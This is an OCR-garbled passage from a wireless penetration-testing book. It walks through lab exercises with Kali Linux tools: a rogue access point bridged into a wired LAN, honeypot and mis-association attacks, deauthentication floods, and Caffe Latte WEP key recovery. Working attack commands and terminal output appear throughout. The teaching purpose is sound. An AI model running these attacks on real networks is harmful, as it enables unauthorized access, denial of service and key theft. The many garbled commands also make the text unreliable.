Let's first bring up our rogue access point using airbase-ng and give it the 
ESSID Rogue: 


= ~ 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if Tue 7 Oct, 15:56 


root@kali: ~ 
File Edit View Search Terminal Help 
:~# airbase-ng --essid Rogue -c 11 mond 
Created tap interface at0 
Trying to set MTU on atO to 1500 


Access Point with BSSID 80:1F:02:8F:34:D5 started. 
Error: Got channel -1l, expected a value > @. 


mele) 4 @)) <1 0 


To release input, press Ctrl+Alt 
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2. \Wenow want to create a bridge between the Ethernet interface, which is part of the 
authorized network, and our rogue access point interface. To do this, we will first 
install bridge-utils files, create a bridge interface, and name it Wifi-Bridge. 
The following screenshot shows the required commands in action: 
apt-get install bridge-utils 
bretl addbr Wifi-Bridge 


Let's see the following output of the command: 


A oe mH 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af 5.) Tue 7 Oct, 15:59 


root@kali: ~ 
Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 
:~# apt-get install bridge-utils 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
The following NEW packages will be installed: 
bridge-utils 
Q upgraded, 1 newly installed, 0 to remove and 97 not upgraded. 
Need to get 35.5 kB of archives. 
After this operation, 145 kB of additional disk space will be used. 
Get:1 http://http.kali.org/kali/ kali/main bridge-utils i386 1.5-6 [35.5 kB] 
Fetched 35.5 kB in Os (57.3 KB/s) 
Selecting previously unselected package bridge-utils. 
(Reading database ... 344367 files and directories currently installed.) 
Unpacking bridge-utils (from .../bridge-utils 1.5-6 1386.deb) 
Processing triggers for man-db ... 
Setting up bridge-utils (1.5-6) 
Error: Timeout was reached 
-~# brcetl addbr wifi-Bridgé 
i~# 


root@kali: ~ 


To release input, press Ctrl+Alt 
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3. Wewill then add both the Ethernet and the Ato virtual interface created by Airbase- 
ng to this bridge: 
bretl addif Wifi-Bridge etho 
bretl addif Wifi-Bridge atho 


The screenshot of the command as follows: 


a > 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places g Tue 7 Oct, 16:00 


root@kali: ~ 
Edit View Search Terminal Tabs Help 


° | -~ ° 
root@kali: ~ root@kali: ~ 


:~# brcetl addif Wifi-Bridge eth0 
:~# brctl addif Wifi-Bridge at0 
| 


root@kali: ~ 
To grab input, press Ctrl+G 
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4, \ewill then bring with these interfaces up to bring the bridge up with the 
following commands: 


ifconfig etho 0.0.0.0 up 
ifcontig altho 0.0.0.0 up 


The screenshot of the command as follows: 


a =~, 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places g Tue 7 Oct, 16:00 


root@kali: ~ 
Edit View Search Terminal Tabs Help 


° | -~ ° 
root@kali: ~ root@kali: ~ 


:~# ifconfig ethO 0.0.0.0 up 
:~# ifconfig atO 0.0.0.0 up 
a | 


root@kali: ~ 








To release input, press Ctrl+Alt 
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5. Wewill then enable IP forwarding in the kernel to ensure that packets 
are forwarded: 


echo 1 > /proc/sys/net/ipv4/ip forward 


The screenshot of the command as follows: 


>» oe er 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af 5] Tue 7 Oct, 16:01 


root@kali: ~ 


Edit View Search Terminal Tabs Help 


° | =~ ° 
root@kali: ~ root@kali: ~ 


:~# echo 1 > /proc/sys/net/ipv4/ip_ forward 
:~# fj 


root@kali: ~ 








To release input, press Ctrl+Alt 
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6. Brilliant! We are done. Now, any wireless client connecting to our rogue access 
point will have full access to the authorized network using the wireless-to-wired 
Wifi-Bridge we just built. We can verify this by connecting a client to the rogue 
access point. Once connected, if you are using Vista, your screen might look like 
the following: 





=a Rog ExXs) 


| aoe 7 ' oc = 
a) ga. set Network Location 


Successfully set network settings 


Network name: Rogue 
3 ‘ Location type: Private 


This allows you to see other computers and 
devices, while making your computer 
discoverable, 





View computers and devices on the network 
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7. Notice that it receives an IP address from the DHCP daemon running on 
the authorized LAN: 





al] Wireless Network Connection Status 2S 


Network Connection Details 


Network Connection Details: 





Property 
Connection-specific DN... 


Description 

Physical Address 
DHCP Enabled 

IPv4 IP Address 

IPv4 Subnet Mask 
IPvé Default Gateway 
IPvl ONS Server 
[Pv WINS Server 


NetBIOS over Tcpip En... 


Link4ocal |Pv6 Address 
IPv6 Default Gateway 
IPFv6 ONS Server 





Value 


Intel(R) WiFi Link 5100 
00-2?-FB-35-FC-44 

No 

19?7.168.1.10 

25 2 55.255.0 
19?7.168.1.1 
192.168.1.1 


Yes 
Fe80::693d fad9:1424:c019%11 


8. Wecannow access any host on the wired network from this wireless client using 
this rogue access point. Next, we will ping the gateway on the wired network: 








Eee C-\windows'\system32\cmd.exe 


Microsoft Windows [WJersion 
Copyright tc) 2669 Microsoft Corporation. 


Cio\Users\Cam>ping 192.168.1.1 


6.1.7681 ] 





| | © |e Sen) 


All rights reserved. 


Pinging 192.168.1.1 with 32 bytes of data 


Reply from 192.1698 
Reply from 192.168.1.1: bytes=32 
Reply from 192.168.1.1: bytes=32 


oe ed Ps 


time=ims TTL=64 
time=ims TTL=64 
time=ims TTL=64 


Reply from 192.168.1.1: bytes=32 time=ims TIL=64 


Ping statistics for 192.168.1.1: 
Packets: Sent = 4, Received = 4, Lost = @ ¢@y loss>, 


: : mee 4 : _ ae 
Approximate Found trip times in milli-seconds 
Minimum = ims, Maximum = ims. Average = ims 


C= \Users*GCam?> 
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What just happened? 

We created a rogue access point and used it to bridge all the authorized network LAN traffic 
over the wireless network. As you can see, this is a really serious security threat as anyone 
can break into the wired network using this bridge. 





Check whether you can create a rogue access point that uses WPA/WPA2-based encryption 
to look more legitimate on the wireless network. 





Q1. What encryption does a rogue access point use in most cases? 


1. None. 

2. WEP. 

3. WPA. 

4. \WPA2. 

Q2. What is the advantage of having the same MAC address as the authorized access point 
in an evil twin? 

It makes detecting the evil twin more difficult. 

It forces the client to connect to it. 


It increases the signal strength of the network. 


cee hee SE 


None of the above. 
Q3. What do DoS attacks do? 


They bring down the overall throughput of the network. 

They do not target the clients. 

They can only be done if we know the network WEP/WPA/WPA2 credentials. 
All of the above. 


= we ie 


Q4. What do rogue access points do and how can they be created? 


They allow backdoor entry into the authorized network. 
They use WPA2 encryption only. 
They can be created as software-based access points or can be actual devices. 


Both 1 and 3. 


= oS 
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Summary 


In this chapter, we explored different ways to compromise the security of the Wireless 
LAN infrastructure: 

Compromising default accounts and credentials on access points 

Denial of service attacks 


Evil twins and MAC Spoofing 


¢ ¢ &¢ «©¢ 


Rogue access points in the enterprise network 


In the next chapter, we will take a look at different attacks on the wireless LAN client. 
Interestingly, most administrators feel that the client has no security problems to 
worry about. We will see how nothing could be furthers from the truth. 
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"Security is just as strong as the weakest link." 


Famous Quote in Information Security Domain 


Most penetration testers seem to give all their attention to the WLAN 
infrastructure and don't give the wireless client even a fraction of that. 
However, it is interesting to note that a hacker can gain access to the 
authorized network by compromising a wireless client as well. 


In this chapter, we will shift our focus from the WLAN infrastructure to the 
wireless client. The client can be either a connected or isolated unassociated 
client. We will take a look at the various attacks that can be used to target 
the client. 





We will cover the following topics: 


¢ ¢ ¢—6UOmlCUM 


Honeypot and Mis-Association attacks 

The Caffe Latte attack 

Deauthentication and disassociation attacks 
The Hirte attack 

AP-less WPA-Personal cracking 
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Honeypot and Mis-Association attacks 


Normally, when a wireless client such as a laptop is turned on, it will probe for networks 
it has previously connected to. These networks are stored in a list called the Preferred 
Network List (PNL) on Windows-based systems. Also, along with this list, the wireless 
client will display any networks available in its range. 


A hacker may do one or more of the following things: 


@ Silently monitor the probes and bring up a fake access point with the same ESSID 
the client is searching for. This will cause the client to connect to the hacker 
machine, thinking it is the legitimate network. 


@ Create fake access points with the same ESSID as neighboring ones to persuade the 
user to connect to him. Such attacks are very easy to conduct in coffee shops and 
airports where a user might be looking to connect to a Wi-Fi connection. 


@ Use recorded information to learn about the victim's movements and habits, 
as we show in detail in a later chapter. 


These attacks are called Honeypot attacks, because the hacker's access point is 
mis-associated with the legitimate one. 


In the next exercise, we will carry out both these attacks in our lab. 


Time for action — orchestrating a Mis-Association attack 





Follow these instructions to get started: 


1. Inthe previous labs, we used a client that had connected to the Wireless Lab access 
point. Let's switch on the client but not the actual Wireless Lab access point. Let's 
now run airodump-ng mono and check the output. You will very soon find the 
client to be inthe not associated mode and probing for Wireless Lab and other 
SSIDs in its stored profile: 


108} JAA 
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Applications Places £ | Sat & Nov, 16:07 


reetiikall: = 


Search Terminal | help 





i} roohekadi: = 





2. Tounderstand what is happening, let's run Wireshark and start sniffing on the mono 
interface. As expected, you might see a lot of packets that are not relevant to our 
analysis. Apply a Wireshark filter to only display Probe Request packets from the 
client MAC you are using: 


© Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places ¢ Fri 26 Sep, 22:27 
Capturing from monO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
OOdaa oN #F#i EG 


Filter: 8:94:F6:62:1E:8E) && !(wlan.fc.type_subtype==0x08) Expression... 


( Tp-LinkT_62:1le:8e GemtekTe_45:36:6] 802. 48 Authentica 
( GemtekTe_45: 36:6 )-LinkT_62:1le:8e 802. 48 Authentica 
O( Tp-LinkT_62:1le:8e ntekTe_45:36:61 802.11 48 Authentica 
OC GemtekTe_45:36:6 9-LinkT_62:1le:8e { 1] 48 Authentica 

: ntekTe_ 45:36:61 { 1] 48 Authentica 
ntekTe_45:36:6 802.11 48 Authentica 
tekTe_45:36:61 1] 48 Authentica 
ntekTe_45:36:61 802.11 48 Authentica 






































Frame 68: 122 bytes on wire (976 bits), 122 bytes captured (976 bits) on interface 0 
Radiotap Header vO, Length 18 

IEEE 802.11 Data, Flags: 

Logical-Link Control 


0000 


00 OO OO OO 


% mono: <live capture in progress> Fil...: Packets: 1591 - Displa...: Profile: Default 


root@kali: ~ * Capturing from mon ... 





To grab input, press Ctrl+G 
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3. Inmycase, the filter would be wlan.fc.type subtype == 0x04 && wlan.sa 
== <my mac>. You should now see Probe Request packets only from the client for 
the previously identified SSIDs. 


4. Let's nowstart a fake access point for the network Wireless Lab on the hacker 
machine using the following command: 


airbase-ng -c 3 -e "Wireless Lab" mono 


root@kali: ~ 


File Edit View Search Terminal Help 
-“# alrbase-ng -c 3 -@ ‘Wireless Lab" mong 





5. Within a minute or so, the client should connect to us automatically. This shows 
how easy it is to have un-associated clients: 


root@kali: ~ 


File Edit View Search Terminal Help 
:~# airbase-ng -c 3 -e "Wireless Lab" monO 
:57 Created tap interface at0 
>57 Trying to set MTU on atO to 1500 
>58 Access Point with BSSID 80:1F:02:8F:34:D5 started. 


: Got channel -1, expected a value > O. 
:18 Client @00:EE:BD:B3:62:DE associated (unencrypted) to ESSID: "Wireless Lab" 





6. Nowwewill try it in competition with another router. We will create a fake access 
point Wireless Lab in the presence of the legitimate one. Let's turn our access point 
on to ensure that Wireless Lab is available to the client. For this experiment, we 
have set the access point channel to 3. Let the client connect to the access point. 
We can verify this from airodump-ng, as shown in the following screenshot: 
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File Edit View 


CH 10 ][ Elapsed: 32 s ][{ 2014-11-08 16:13 


BSSID 


E8 :94:F6:62:1E:8E 
9C:D3:6D:2A:7B:CO 
00 :22:B0:62:6D:08 
00:0B:3B:7C:D0:8D 


BSSID 


iGalehume-|-}-jelene-hu-Tep) 

E8 :94:F6:62:1E:8E 
E8 :94:F6:62:1E:8E 
9C :D3:6D:2A:7B:CO 


Search Terminal 


Help 


PWR Beacons 


-61 14 
-79 13 
-86 ) 
-99 2 


STATION 


80:1F:02:8F:34:D5 
4C:0F:6E:70:BD:CB 
00 :EE:BD:B3:62:DE 
70:18:8B:08:47:B6 


root@kali: ~ 


#Data, #/s 


Rate 


MB 


54e. 


54e 
54e 
54 


Lost 


ENC CIPHER AUTH ESSID 


Wireless Lab 
everythingwillprobabl ynotbeokay 
Upstairs 

Downstairs 


OPN 

WPA2 CCMP 
WPA TKIP 
WPA2 CCMP 


PSK 
PSK 
PSK 


Frames Probe 





7. Nowlet's bring up our fake access point with the SSID Wireless Lab: 


File 


Error: 





Edit 


View 


root@kkali: ~ 


16:14:42 
16:14:42 
16:14:42? 
Got 


channel 


Search Terminal 


Tabs 


"Wireless Lab" 





root@kali: 


Help 


root@kkali: ~ 


lalate, 


Trying te set MTU on at@ to 1506 
Access Point with BSSID 60@:1F:02:8F:34:0D5 started. 
al 


8. Notice that the client is still connected to Wireless Lab, the legitimate access point: 





File Edit View 


root@kali: ~ 


CH 6 ][ 
BSSID 


:8F:34:D5 
°62:1E:8E 
>2A:7B:CO 
:62:6D:08 
:7C:D0:8D 


80:1F: 
E8:94: 
9C:D3: 
00:22: 
00:OB: 


BSSID 


Gale} wmr-|-}-jelene-hu-lep) 

E8 :94:F6:62:1E:8E 
E8 :94:F6:62:1E:8E 
9C:D3:6D:2A:/7B:CO 


Search Terminal 


Tabs 


PWR Beacons 


0 
-69 
“47 
-88 
-100 


STATION 


80:1F:02:8F:34:D5 
4C:0F:6E:70:BD:CB 
(C]O ed mj ttl = |B = fo eo ad D) 
70:18:8B:08:47:B6 


Help 


root@kali: ~ 


mal =| 0}—1-10 a | Oo ee 


#Data, #/s 


C) 


Rate 


MB 


54 


54e. 


54e 
54e 
6 54 


Lost 


root@kali: ~ 


ENC CIPHER ESSID 

OPN Wireless Lab 

OPN Wireless Lab 

WPA2 CCMP PSK everythingwillprobabl ynotbeokay 
Te PSK Upstairs 

WPA2 CCMP PSK Downstairs 


Frames Probe 


Wireless Lab 
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9. Wewill now send broadcast deauthentication messages to the client on behalf of 
the legitimate access point to break their connection: 





root@kali: ~ root@kali: ~ root@kali: ~ 


:~# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 


NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





10. Assuming the signal strength of our fake access point Wireless Lab is stronger than 
the legitimate one to the client, it connects to our fake access point instead of the 
legitimate access point: 





root@kali: ~ root@kali: ~ root@kali: ~ 
:~# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





11. We can verify this by looking at the airodump-ng output to see the new 
association of the client with our fake access point: 


CH 2 ][ Elapsed: 4 s ][ 2014-11-08 16:26 
BSSID PWR Beacons #Data, MB ENC CIPHER AUTH ESSID 


E8:94:F6:62:1E:8E 54e. WEP WEP Wireless Lab 

9C:D3:6D:2A:7B:CO 54e WPA2 CCMP PSK everythingwillLprobab1l ynotbeokay 
00:22:B0:62:6D:08 54e WPA TKIP PSK Upstairs 

00:0B:3B:7C:D0:8D 0 6 54 WPA2 CCMP PSK Downstairs 


BSSID Rate Lost Frames Probe 


E8:94:F6:62:1E:8E :0F:6E:70:BD: - 

E8 :94:F6:62:1E:8E °10:7A:45:36: Wireless Lab 

(not associated) >98:D6:85:EE: - - =Wi-3 vam anaale| smal Gelmelel-lel@)ialehmel-le).¢-h) 
9C :D3:6D:2A:/B:CO 

9C :D3:6D:2A:7B:CO 

00:22:B0:62:6D:08 
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What just happened? 


We just created a Honeypot using the probed list from the client and also using the same 
ESSID as that of neighboring access points. In the first case, the client automatically 
connected to us, as it was searching for the network. In the latter case, as we were closer 
to the client than the real access point, our signal strength was higher, and the client 
connected to us. 





In the previous exercise, what do we do if the client does not automatically connect to us? 
We would have to send a deauthentication packet to break the legitimate client-access point 
connection and then, if our signal strength is higher, the client will connect to our spoofed 
access point. Try this out by connecting a client to a legitimate access point, and then forcing 
it to connect to your Honeypot. 


The Caffe Latte attack 


In the Honeypot attack, we noticed that clients will continuously probe for SSIDs they 
have connected to previously. If the client had connected to an access point using WEP, 
operating systems such as Windows cache and store the WEP key. The next time the 
client connects to the same access point, the Windows wireless configuration manager 
automatically uses the stored key. 


The Caffe Latte attack was invented by Vivek, one of the authors of this book, and was 
demonstrated in Toorcon 9, San Diego, USA. The Caffe Latte attack is a WEP attack that 
allows a hacker to retrieve the WEP key of the authorized network, using just the client. 
The attack does not require the client to be anywhere close to the authorized WEP 
network. It can crack the WEP key using just the isolated client. 


In the next exercise, we will retrieve the WEP key of a network from a client using the 
Caffe Latte attack. 
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Time for action — conducting a Caffe Latte attack 


Follow these instructions to get started: 





1. Let's first set up our legitimate access point with WEP for the network Wireless Lab 
with the ABCDEFABCDEFABCDEF12 key in Hex: 


TP-LINK 


Status WPA/WPA2 - Personal(Recommended) 

Quick Setup Version: WPA2-PSK 

WPS Encryption: AES 

Network Wireless Password: 88455808 

Wireless (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
- Wireless Settings Group Key Update Period: 0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


- Wireless MAC Filtering WPAIWPA2 - Enterprise 


Version: Automatic 


- Wireless Advanced 
- Wireless Statistics 


Encryption: | 
DHCP ryp Automatic 


: Radius Server IP: 
Forwarding 


Radius Port: 1812 (1-65535, 0 stands for default port 1812) 


Security 
Parental Control Radius Password: 

Access Control Group Key Update Period: (in second, minimum is 30, 0 means no update) 
Advanced Routing *» WEP 


Bandwidth Control Type: Automatic v 
IP & MAC Binding WEP Key Format: Hexadecimal ¥ 
Dynamic DNS Key Selected WEP Key Key Type 
same toe Key 1: @ | abedefabcdefabcdefabcdef1 | 128bit 
Key 2: Disabled 
Key 3: Disabled ¥ 


Key 4: Disabled ¥ 


We do not recommend using the WEP encryption if this device operates in 802.11n mode due to the fact that WEP is not supported by 
802.11n specification. 
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2. Let's connect our client to it and verify that the connection is successful using 
airodump-ng, as shown in the following screenshot: 


CH 2 J[ Elapsed: 4 s ][ 2014-11-08 16:26 


BSSID PWR Beacons #Data, MB ENC CIPHER AUTH ESSID 


E8:94:F6:62:1E:8E 54e. WEP WEP Wireless Lab 

9C :D3:6D:2A:7B:CO 54e WPA2 CCMP PSK everythingwilLprobabl ynotbeokay 
00 :22:B0:62:6D:08 54e WPA TKIP PSK Upstairs 

00 :0B:3B:7C:D0:8D 6 54 WPA2 CCMP PSK Downstairs 


BSSID Lost Frames Probe 


E8 :94:F6:62:1E:8E :0F:6E:70:BD: e- 

E8 :94:F6:62:1E:8E 710:7A:45:36: Wireless Lab 

(not associated) :98:D6:85:EE: everythingwillLprobabl ynotbeokay 
9C:D3:6D:2A:/B:CO 

9C:D3:6D:2A:7B:CO 

00 :22:B0:62:6D:08 





3. Let's unplug the access point and ensure that the client is in the un-associated stage 
and searches for the WEP network Wireless Lab. 


4. Nowweuse airbase-ng to bring up an access point with Wireless Lab as the SSID, 
with the parameters as shown here: 








root@kali: ~ root@kali: ~ root@ka 


i~# airbase-ng -c 3 -a E8:94:F6:62:1E:8E -e “Wireless Lab" -L -W 1 mong 
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5. Assoonas the client connects to this access point, airbase-ng starts the 
Caffe Latte attack, as shown here: 


[“ alrbase-ng -c 3 - Y4$°Fe 62: LE:SE -@ Wireless Lab -L -W 1 mo 
16:31:52 Created tap interface at 
16:31:52 Trying to set ATU on at® to 1560 
16:31:53 Access Point with BSSID E8:94:F6:62:1E:8E started. 
Error: ant channel -1, expected a value = 0. 
2: Got 14G bytes keystream: 06: EE: BO: 63:62:DE 
SKA from 66:EE: BD: 63:62: 
SKA from G0: 
SKA from GO: 
SKA from G0: 
SKA from G6: 
SKA from G0: 
SKA from G0: 
SKA Trom GQ: 
SKA Trom QQ: 
SKA from GO: 
SKA from G0: 
SKA from G6: 
SKA from GO: 
SKA from G0: 
SKA Trom QQ: 
SKA Trom GO: 5 
Client 0G:EE:BD:83:62:0E associated (WEP! to ESSID: “Wi 
Client 06G:EE:BD:B3:62:0E associated (WEP! to ESSID: “Wi 
Client 0G:EE:BD:B3:62:0E associated (WEP! to ESSID: " 
Client 0G:EE:BD:83:62:0E associated (WEP! to ESSID: " 
Client 0G:EE:BD:B3:62:0E associated (WEP! to ESSID: “Wi 
Client 0G:EE:BD:83:62:0E associated (WEP! to ESSID: " 
Client 0G:EE:BD:B3:62:0E associated (WEP! to ESSID: " 
Client 0G:EE:BD:B83:62:0E associated (WEP! to ESSID: " s Lab" 
Client 0G:EE:BD:B83:62:0E associated (WEP! to ESSID: “ ; Lab" 
Client 0G:EE:BD:83:62:0E associated (WEP) to ESSID: “Wireless Lab" 
Client 0G:EE:BD:83:62:0E assocrated (WEP) to ESSID: “Waoreless Lab" 
Client 0G:EE:BD:B3:62:0E associated (WEP) to ESSID: “Wireless Lab" 
Client 0G:EE:BD:83:62:0E associated (WEP) to ESSID: “Wireless Lab" 
Client 0G:EE:BD:B3:62:0E associated (WEP) to ESSID: “Waoreless Lab" 
Client 0G:EE:BD:83:62:0E associated (WEP) to ESSID: “Wireless Lab" 
Client 0G:EE:BD:83:62:0E assocrated (WEP) to ESSID: “Wireless Lab" 
Client 4C:6F:6E:76:80:CB associated (WEP!) to ESSID: “Wireless Lab" 
Client 4C:0F:6E:70:80:CB assocrated (WEP) to ESSID: “Wireless Lab" 
Client 4C:6F:6E:76:80:CB assocrated (WEP) to ESSID: “Wireless Lab" 
Client 4C:0F:6E:76:80:CB associated (WEP) to ESSID: “Waoreless Lab" 
Starting Caffe. Latte attack against 4C:GF:6E:76:B80:CB at 106 pps. 


s Lab" 
; Lab" 
; Lab" 
| Lab" 
| Lab" 
; Lab" 

s Lab" 


it 
it 


1 to Dt oD 
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it 
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— — rm — a r— — — — 
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re es re 
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it 





6. Wenowstart airodump-ng to collect the data packets from this access point only, as 
we did before in the WEP cracking scenario: 


[~# airodump-ng mon@ --bssid 4C:GF:6E:/0:BD:CB -w keyst rean| 





7. \Nealso start aircrack-ng as in the WEP-cracking exercise we did before to begin 
the cracking process. The command line will be aircrack-ng filename, where 
the filename is the name of the file created by airodump-ng. 
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What just happened? 


We were successful in retrieving the WEP key from just the wireless client without requiring 
an actual access point to be used or present in the vicinity. This is the power of the Caffe 
Latte attack. 


In basic terms, a WEP access point doesn't need to prove to a client that it knows the WEP 
key in order to receive encrypted traffic. The first piece of traffic that will always be sent to 
a router upon connecting to a new network will be an ARP request to ask for an IP. 


The attack works by bit flipping and replaying ARP packets sent by the wireless client post 
association with the fake access point created by us. These bit flipped ARP Request packets 
cause more ARP response packets to be sent by the wireless client. 


Bit-flipping takes an encrypted value and alters it to create a different encrypted value. In this 
circumstance, we can take an encrypted ARP request and create an ARP response with a high 
degree of accuracy. Once we send back a valid ARP response, we can replay this value over 
and over again to generate the traffic we need to decrypt the WEP key. 


Note that all these packets are encrypted using the WEP key stored on the client. Once we 
are able to gather a large number of these data packets, aircrack-NG is able to recover 
the WEP key easily. 





Try changing the WEP key and repeat the attack. This is a difficult attack and requires some 
practice to orchestrate successfully. It would also be a good idea to use Wireshark and 
examine the traffic on the wireless network. 


We have seen deauthentication attacks in previous chapters as well in the context of the 
access point. In this chapter, we will explore this attack in the context of the client. 


In the next lab, we will send deauthentication packets to just the client and break an 
established connection between the access point and the client. 
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Time for action — deauthenticating the client 


Follow these instructions to get started: 





1. Let's first bring our access point Wireless Lab online again. Let's keep it running 
on WEP to prove that, even with encryption enabled, it is possible to attack the 
access point and client connection. Let's verify that the access point is up using 
ailrodump-ng: 


]{ Elapsed: 4 s ][ 2014-11-08 16:40 
PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID 


*6D:2A:7B:CO -77 WPA2 CCMP PSK everythingwillprobablynotb 
>F6:62:1E:8E 0 WEP WEP Wireless Lab 
:BO:62:6D:08 -87 WPA TKIP PSK Upstairs 


CH 12 ][ Elapsed: 1 min ][ 2014-11-08 16:41 
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


E8:94:F6:62:1E:8E 54 1 3 54e WEP WEP OPN Wireless Lab 
9C:D3:6D:2A:7B:CO 28 Ce i no (T= ||| a OL | PSK everythingwillprobablynotb 
00 :22:B0:62:6D:08 0 1 54e WPA TKIP PSK Upstairs 

34:6B:D3:59:9C:BE @ 11 54e WPA2 CCMP PSK BTHub3-R9Q5 
00:0B:3B:7C:D0:8D 0 6 54 WPA2 CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


E8:94:F6:62:1E:8E 4C:0F:6E:70:BD:CB 54 -54 54 

E8:94:F6:62:1E:8E O00:EE:BD:B3:62:DE 0 + ‘1 278 Wireless Lab 
(not associated) 80:1F:02:8F:34:D5 0 LL 

9C:D3:6D:2A:7B:CO 20:10:7A:45:36:61 le- le 

Q00:22:B0:62:6D:08 5C:F6:DC:D4:61:14 18e-36e 





3. Wewill now run aireplay-ng to target the access point connection: 





root@kali: ~ root@kali: ~  root@kali: ~ 
:-# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 


NB: this attack is more effective when targeting 
la connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
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4, Theclient gets disconnected and tries to reconnect to the access point. We can 
verify this using Wireshark just as we did earlier: 








Falter: wlan.addr]=O0:EE:BO:B7:62-DE od Expreceion . Clear Save 

Ala Tint Source Destination Pratecel Lengtl lini 
2436 17. 022500000 OO  eerbdiba:gaide Broadcast 02.11 130 Probe Request, SHEO4G1, FHEO, Flage=......00, SSIDSGroadcast 
S006 17. 71)549100 To-LinkT G3: le: ie OO:ee:bd:ba:6a:de gO7.11 76h Probe Pesponse, Sheway, Fed, Flagem.......-, BIel&0, S&TGewi reless Lab 
228 1), FSS Tp LinkT Ge: le:Be O01 ea: bd thsi Gerdes Boz. 11 269 Probe Response, SNeSGe, Fed, Flagess........,. Hl=100, SSifemrelass Lab 
2800 17, TESST OO Tp-LinkT_@2: le: Be Oo:eerbd:ba:eerde eg2.11 289 Probe Besponse, See Sea, Peg, Flage=.....,..., B1=100, S8ibewireless Lab 
2002 17. 7a56G5000 Tp-LinkT_62: le:Ge CO:ee:bd:ba:62:de 02.11 289 Probe Response, SHES7O, PNS0, Flags=........, BT=100, S5iDewireless Lab 
aot) 17 POOSLION OOs ees bdi ba. Gaide Broadcast 02.11 130 Probe Request, SheoSa4, Feed, Flages........, S5i0ebroadcast 
2205 17. FeSO To LainkT Geile: Be DOjeoc bd bas Grids Boz. 11 29 Probe Response, Sheat2, Fed, Flagas........, Bl=100, Shitewireless Lab 
S08 17, 7earSoue Ooiae sbdibs:s2ide Broadcast ao2, 11 130 Probe Bequest, Ste58s8, Pym, Plage=........-, S810=Greadcast 
Soo 17. FeSO To-LinkT 62: 1e:Be OO-ee-bd:bo:62:de 802.11 285 Probe Pespewse, SHEITS. POO, FPlags=........, BIs100, SSibewireless Lab 





5. We have now seen that, even in the presence of WEP encryption, it is possible to 
deauthenticate a client and disconnect it. The same is valid even in the presence 
of WPA/WPA2. Let's now set our access point to WPA encryption and verify it: 


TP-LINK’ 


Status 


Quick Setup Wireless Security 


WPS 


Network : 7 
Disable Security 


Wireless 


- Wireless Settings 
® WPA/WPA2 - Personal(Recommended) 


_ Wireless MAC Filtering Version: | WPA-PSK 


- Wireless Advanced Encryption: | AES bd 





_Wireless Statistics Wireless Password: abcdefgh 


DHCP (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 


Forwarding Group Key Update Period: 0 Seconds 


Security (Keep it default if you are not sure, minimum is 30, 0 means no update) 
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6. Let's connect our client to the access point and ensure that it is connected: 


]{ Elapsed: 10 mins ][ 2014-11-08 16:51 


PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID 


0 54e. wWPA2 CCMP PSK Wireless Lab 
0 54e WPA2 CCMP PSK everythingwillprobablynotb 
0 54e WPA TKIP PSK Upstairs 

0 6 54 42WPA2 CCMP PSK Downstairs 

0 11 54e OPN BTWiFi-with-FON 

0 11 54e WPA2 CCMP PSK BTHub3-R9Q5 


Rate Lost Frames Probe 


Galehwer-|--1elene-ha-lep -1F:02:8F:34: Q - 1 

(not associated) :03:08:9D:18: 0 EwgL everythingwillprobabl ybeokay 

E8 :94:F6:62:1E:8E :0F:6E:70:BD: 54 -54e Wireless Lab 

E8:94:F6:62:1E:8E -EE:BD:B3:62: 54e- le Etisalat -WiFi,iJumeirah,Wireless 
9C:D3:6D:2A:/B:CO -18:8B:08:47: 5e- Ge 

9C :D3:6D:2A:/7B:CO 710:7A:45:36: le- le Wireless Lab 

00:22:B0:62:6D:08 -F6:DC:D4:61: 18e-18e 





7. Let's now run aireplay-ng to disconnect the client from the access point: 





root@kali: ~ root@kali: ~ | root@kali: ~ 


:~# aireplay-ng --deauth © -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 


NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





What just happened? 


We just learnt how to disconnect a wireless client selectively from an access point using 
deauthentication frames even in the presence of encryption schemas such as WEP/WPA/ 
WPA2. This was done by sending a deauthentication packet to just the access point—client 
pair, instead of sending a broadcast deauthentication to the entire network. 


In the previous exercise, we used a deauthentication attack to break the connection. Try 
using a disassociation packet to break the established connection between a client and an 
access point. 


The Hirte attack 


We've already seen how to conduct the Caffe Latte attack. The Hirte attack extends the Caffe 
Latte attack using fragmentation techniques and allows almost any packet to be used. 
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More information on the Hirte attack is available on the Aircrack-ng website at http: // 


www. aircrack-ng.org/doku.php?id=hirte. 


